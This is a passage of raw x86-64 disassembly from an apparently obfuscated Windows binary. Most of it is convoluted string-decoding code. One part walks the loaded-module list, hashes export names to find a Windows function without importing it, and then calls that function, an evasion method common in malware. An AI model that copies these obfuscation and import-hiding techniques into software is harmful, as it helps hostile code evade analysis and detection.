add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rbx + 0x230]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400d0b82
movabs rcx, 0x55aa4c49df5bb6a7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6f
mov byte [rbp + rbx + 0x230], r10b
inc rbx
jmp 0x1400d0b82
movabs rcx, 0x60b0b041e6c4b26d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 5
cmp r9, 4
jb 0x1400d100c
mov edx, 0xf
movabs rcx, 0xcdba15968615d78e
add rcx, rbx
movzx eax, cl
and al, r11b
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x1400d16db
movabs rcx, 0x6bb71439ee2dae33
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x65
cmp r8, 0x41
jae 0x1400d15a7
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400d14d5
movabs rcx, 0x3bf9fd46d02fad4a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 6
jmp 0x1400d103b
movabs rcx, 0x76bd7831f596a9f9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x31
lea rax, [r9 + r8]
cmp rax, 0x200
je 0x1400d15d7
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400d13d8
movabs rcx, 0x2fbd16f31dfe00e9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5f
jmp 0x1400d108a
mov ecx, 0xb
movabs rdx, 0x496d65f62d2a0a46
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rbx + 0x230]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400d0b82
movabs rcx, 0x5473c9ee3493060c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x1400d1834
mov ecx, 0x21
movabs rdx, 0x5f7a2de63bfc01d2
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d1804
movabs rcx, 0x6a8091de4364fd98
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
jmp 0x1400d17cd
mov ecx, 0x37
movabs rdx, 0x7586f5d64acdf95e
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
jmp 0x1400d17cd
mov ecx, 2
movabs rdx, 0x808d59ce5236f524
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400d175b
movabs rcx, 0x8b93bdc6599ff0ea
add rcx, rbx
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x66
inc rbx
jmp 0x1400d0b82
mov ecx, 0x18
movabs rdx, 0x969a21be6108ecb0
add rdx, rbx
inc r9
movzx eax, dl
dec rbx
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400d0b82
movabs rcx, 0xa1a085b66871e876
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3a
jmp 0x1400d16db
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400d12cd
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
add r10b, 0x35
add r10b, dl
jmp 0x1400d10e7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d130c
movzx eax, r11b
movabs rcx, 0x1879cca7646358c2
add rcx, rbx
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rbx + 0x230]
add rax, r9
add rbx, rax
lea r10d, [rcx + r11]
sub r10b, 0x4e
inc rbx
jmp 0x1400d0b82
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d133d
movabs rdx, 0x26d04b755916136
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x7a
add r10b, dl
jmp 0x1400d1804
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d136a
movabs rcx, 0xe159d8cf3f566de4
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
jmp 0x1400d175e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d13a2
mov ecx, 0x17
movabs rdx, 0xd65374d737ed721e
add rdx, rbx
movzx eax, r11b
and al, dl
dec rbx
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400d0b82
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d10e7
mov ecx, 1
movabs rdx, 0xc046ace7291b7a92
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d16db
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d1406
movabs rdx, 0x24b6b2fb16950523
movzx r10d, r11b
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
add r10b, 0xb
jmp 0x1400d16d8
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d1439
movabs rcx, 0xea9eb0b07c30d97
add rcx, rbx
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x21
inc rbx
jmp 0x1400d0b82
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d1466
movabs rcx, 0xed96bf22f1881a45
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1d
jmp 0x1400d17cd
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d1493
movabs rcx, 0xe2905b2aea1f1e7f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x79
jmp 0x1400d1804
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d108a
movabs rcx, 0xcc83933adb4d26f3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx + 0x230]
add rax, r9
add rbx, rax
lea r10d, [r11 + rcx]
add r10b, 0x5b
inc rbx
jmp 0x1400d0b82
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d1518
mov ecx, 0x32
movabs rdx, 0x30f3994ec8c6b184
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rbx + 0x230]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400d0b82
inc rax
cmp r8, rax
jne 0x1400d1544
movabs rcx, 0x25ed3556c15db5be
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x32
jmp 0x1400d1834
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d1576
mov ecx, 0x1c
movabs rdx, 0x1ae6d15eb9f4b9f8
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d1804
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d103b
movabs rcx, 0xd8c0798e8d7ed354
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
jmp 0x1400d16db
movzx r10d, byte [rbp + rbx + 0x230]
movabs rdx, 0xc2b3b19e7eacdbc8
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x78
add r10b, dl
add r10b, r11b
jmp 0x1400d175e
movabs rdx, 0xb7ad4da67743e002
add rdx, rbx
movzx eax, dl
and al, r11b
movzx eax, al
imul r10d, eax, 0xfe
sub r10b, byte [rbp + rbx + 0x230]
sub r10b, 0xe
add r10b, dl
add r10b, r11b
jmp 0x1400d1804
movzx eax, r11b
movabs rcx, 0xa903629b6f80d26b
add rcx, rbx
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rbx + 0x230]
add rax, r9
add rbx, rax
lea r10d, [rcx + r11]
add r10b, 0x13
inc rbx
jmp 0x1400d0b82
movzx eax, r11b
movabs rcx, 0xd51cf27b8d24c183
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x6b
add r8, r9
jmp 0x1400d17cd
movabs rdx, 0xe0235673948dbd49
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
inc r10b
jmp 0x1400d175b
movzx eax, r11b
movabs rcx, 0xeb29ba6b9bf6b90f
add rcx, rbx
dec rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x69
inc rbx
jmp 0x1400d0b82
movabs rdx, 0x136825baac8b09b
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x3d
add r10b, dl
movzx eax, r11b
movabs rcx, 0x4836e39a826159ab
add rcx, rbx
and al, cl
add al, al
sub r11b, al
add r11b, 0x53
add r11b, cl
mov byte [rbp + rbx + 0x230], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400d0b82
movzx eax, r11b
movabs rcx, 0x2d50123bc86c9fb3
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x1b
dec rbx
inc rbx
jmp 0x1400d0b82
movabs rdx, 0x38567633cfd59b79
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x4f
add r10b, dl
movabs rcx, 0x3d307fa27af85de5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x43
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x230], cl
add r8, r9
jmp 0x1400d17cd
movzx eax, r11b
movabs rcx, 0x435cda2bd73e973f
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x47
add r8, r9
jmp 0x1400d17cd
movabs rcx, 0x4e633e23dea79305
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x23
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d0b82
mov r11, rdx
movabs rax, 0x5969a21be6108ecb
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r10d, [r11 + rax]
add r10b, 0x73
inc r9
movabs rcx, 0x322a1baa738f621f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x27
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x230], al
add rax, r9
sub rbx, rax
movzx eax, r11b
inc r8
movabs rdx, 0xaca6e9ae6fdae43c
mov ecx, 0x2e
add rdx, rbx
and al, dl
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x230], cl
add rbx, rax
movzx eax, byte [rbp + rbx + 0x230]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d0b82
movabs rcx, 0x6f766a0bf4e28657
movzx eax, dl
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x61
movzx eax, byte [rbp + rbx + 0x230]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d0b82
movabs rcx, 0xa2d70812133a9911
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x77
jmp 0x1400d0b80
movabs rcx, 0xaddd6c0a1aa394d7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1f
jmp 0x1400d0b70
lea rdi, [rbp + 0x17b6dac]
jmp 0x1400d1917
lea rdi, [rbp + 0x46efc9]
jmp 0x1400d1917
lea rdi, [rbp + 0x230]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400d19a5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400d19a5
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x9b0bcb3
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400d19a0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400d1980
cmp edx, 0xcbbf41e5
je 0x1400d19aa
test r9d, r9d
jne 0x1400d1960
mov rax, qword [rax]
jmp 0x1400d1930
mov edx, dword [r11 + 0x24]
mov rcx, rdi
mov r8d, dword [r11 + 0x1c]
add rdx, r10
add r8, r10
movzx edx, word [rdx + r9*2]
mov eax, dword [r8 + rdx*4]
add rax, r10
call rax
movzx r10d, byte [rsp + 0x30]
xor eax, eax
mov dword [rbp + 0x25c], eax
movabs rdi, 0x7adae52d782e5dcb
mov byte [rbp + 0x260], al
movabs rsi, 0x14cd730864a09d95
mov dword [rbp + 0x250], 0x87bf81b3
movabs r15, 0xc8e5da26bc947e5f
mov dword [rbp + 0x254], 0xa1aea886
movabs r14, 0x8301bebaeb77a0d7
mov dword [rbp + 0x258], 0xf36c6d9a
movabs r12, 0xf1360a6d724ea419
movabs r13, 0x450b751e4849f19a
nop word [rax + rax]
mov r8, qword [0x1402ff1a0]
mov r9, qword [0x1402ff198]
nop
xor ebx, ebx
cmp rbx, 0x11
jae 0x1400d2761
movzx r11d, byte [rbp + rbx + 0x250]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400d2758
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d1a9c
lea rcx, [rbx + r15]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
add r10b, 0x67
jmp 0x1400d1ac0
je 0x1400d26d3
inc rax
cmp r8, rax
je 0x1400d269c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d2671
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400d274f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d1aee
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
add r10b, 0x73
add r10b, dl
jmp 0x1400d1b30
je 0x1400d2620
inc rax
cmp r8, rax
je 0x1400d25d2
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d25ad
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d2510
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d24ef
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400d2189
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400d2160
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d212e
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400d2103
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d20df
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d20b3
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d208a
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d2061
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400d203d
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d2007
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400d1b40
lea r8, [r9 + 8]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400d272b
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400d2707
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400d1d38
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400d1d19
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400d1cfa
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400d1f9e
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400d1f41
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d1ef2
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400d1ec3
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400d1b40
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 4]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400d1e89
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400d1e65
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400d1e41
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d1e1d
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400d1df1
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400d1dc8
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400d1d9e
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d1d7a
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400d1d56
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400d1b40
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x5a]
jmp 0x1400d1b40
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x13
add r10b, dl
jmp 0x1400d1b30
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
add r10b, 0x1f
add r10b, dl
jmp 0x1400d1ac0
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
add dl, 0x51
sub r10b, al
add r10b, dl
jmp 0x1400d1a65
movabs rcx, 0xd6d7296bc172ee58
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
jmp 0x1400d263f
lea rcx, [rbx + r13]
inc r9
movzx eax, cl
dec rbx
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
inc rbx
jmp 0x1400d1a52
movabs rcx, 0xb33fc0d0cf20f4dc
add rcx, rbx
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
inc rbx
jmp 0x1400d1a52
mov ecx, 0x17
movabs rdx, 0x21740c8355f7f81e
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d25f1
mov ecx, 0x30
movabs rdx, 0x8fa85835dccefb60
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
jmp 0x1400d26ba
movabs rcx, 0xfddca3e863a5fea2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6e
jmp 0x1400d26ba
movabs rcx, 0x6c10ef9aea7d01e4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
jmp 0x1400d252f
movabs rcx, 0xda453b4d71540526
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
jmp 0x1400d255f
mov ecx, 0x14
movabs rdx, 0x487986fff82b0868
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rbx + 0x250]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400d1a52
movabs rcx, 0x5bfc443e4944908d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x25
mov byte [rbp + rbx + 0x250], r10b
inc rbx
jmp 0x1400d1a52
movabs rcx, 0xca308ff0d01b93cf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x57
cmp r9, 0x42
jb 0x1400d1ee2
mov edx, 5
movabs rcx, 0xb94eb6f232a59da
add rcx, rbx
movzx eax, cl
and al, r11b
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x1400d263f
movabs rcx, 0x3864dba356f29711
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x77
cmp r8, 0x400
jae 0x1400d248e
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x1400d2353
movabs rcx, 0x599fe06867907a6e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
jmp 0x1400d1f11
movabs rdx, 0xa6992755ddc99a53
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x45
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 9
je 0x1400d24be
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400d22bd
movabs rdx, 0xdec4fb3aef621ca3
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x75
add r10b, dl
jmp 0x1400d1f60
movzx eax, r11b
movabs rcx, 0xe1215f10d11632c2
add rcx, rbx
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rbx + 0x250]
add rax, r9
add rbx, rax
lea r10d, [rcx + r11]
sub r10b, 0x4e
inc rbx
jmp 0x1400d1a52
movabs rcx, 0x4f55aac357ed3604
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
jmp 0x1400d255f
mov ecx, 0xb
movabs rdx, 0xbd89f675dec43946
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d252f
mov ecx, 0x24
movabs rdx, 0x2bbe4228659b3c88
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d26ba
mov ecx, 0x3d
movabs rdx, 0x99f28ddaec723fca
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
jmp 0x1400d26ba
movabs rcx, 0x826d98d7349430c
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x1400d25f1
movzx eax, r11b
movabs rcx, 0x765b253ffa20464e
add rcx, rbx
dec rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x22
inc rbx
jmp 0x1400d1a52
mov ecx, 8
movabs rdx, 0xe48f70f280f74990
add rdx, rbx
movzx eax, r11b
and al, dl
inc r9
sub cl, al
dec rbx
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400d1a52
mov ecx, 0x21
movabs rdx, 0x52c3bca507ce4cd2
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d263f
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x1400d21ae
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
add r10b, 0x67
jmp 0x1400d1fbe
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400d21ed
movzx eax, r11b
movabs rcx, 0xf5b5ca5af05cbb96
add rcx, rbx
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rbx + 0x250]
add rax, r9
add rbx, rax
lea r10d, [rcx + r11]
sub r10b, 0x1a
inc rbx
jmp 0x1400d1a52
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d2222
mov ecx, 0xf
movabs rdx, 0x3ce49b90d500ae8e
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
jmp 0x1400d26ba
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d2253
movabs rdx, 0xceb04fde4e29ab4c
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x14
add r10b, dl
jmp 0x1400d25f1
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400d2287
movzx eax, r11b
movabs rcx, 0x607c042bc752a80a
add rcx, rbx
dec rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x46
inc rbx
jmp 0x1400d1a52
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d1fc1
mov ecx, 0x2b
movabs rdx, 0x84136cc6b9a4a186
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d263f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d22ee
movabs rdx, 0x7090af88688b1961
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
add r10b, 0x59
add r10b, dl
jmp 0x1400d263f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d2322
movzx eax, r11b
movabs rcx, 0x942818235add12dd
add rcx, rbx
dec rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xb
inc rbx
jmp 0x1400d1a52
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d1f60
movabs rcx, 0xdb56e9593f8105d5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2d
jmp 0x1400d252f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d2391
movabs rcx, 0xeb6b94b5e0b9772c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx + 0x250]
add rax, r9
add rbx, rax
lea r10d, [r11 + rcx]
sub r10b, 0x34
inc rbx
jmp 0x1400d1a52
inc rax
cmp r8, rax
jne 0x1400d23c2
mov ecx, 0x34
movabs rdx, 0xf02fd50d30b70a8
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d252f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d23f4
mov ecx, 0x1b
movabs rdx, 0xa0ceb19e4c346d66
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d26ba
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d2425
movabs rdx, 0xc4661a393e8666e2
movzx r10d, r11b
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x2e
add r10b, dl
jmp 0x1400d25f1
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d2458
movabs rcx, 0x5631ce86b7af63a0
add rcx, rbx
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
inc rbx
jmp 0x1400d1a52
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400d1f11
mov ecx, 0x1e
movabs rdx, 0x79c93721aa015d1c
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d263f
movzx r10d, byte [rbp + rbx + 0x250]
movabs rdx, 0x9d609fbc9c535698
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x28
add r10b, dl
add r10b, r11b
jmp 0x1400d25f1
movabs rdx, 0x2f2c540a157c5356
add rdx, rbx
movzx eax, dl
and al, r11b
movzx eax, al
imul r10d, eax, 0xfe
sub r10b, byte [rbp + rbx + 0x250]
sub r10b, 0x5a
add r10b, r11b
add r10b, dl
jmp 0x1400d252f
movabs rcx, 0x9388799417643bb
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1d
jmp 0x1400d255f
movabs rcx, 0x776cd34bc84d46fd
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x15
inc r9
movabs rcx, 0xf8122e30d210d1b5
add rcx, rbx
movzx eax, cl
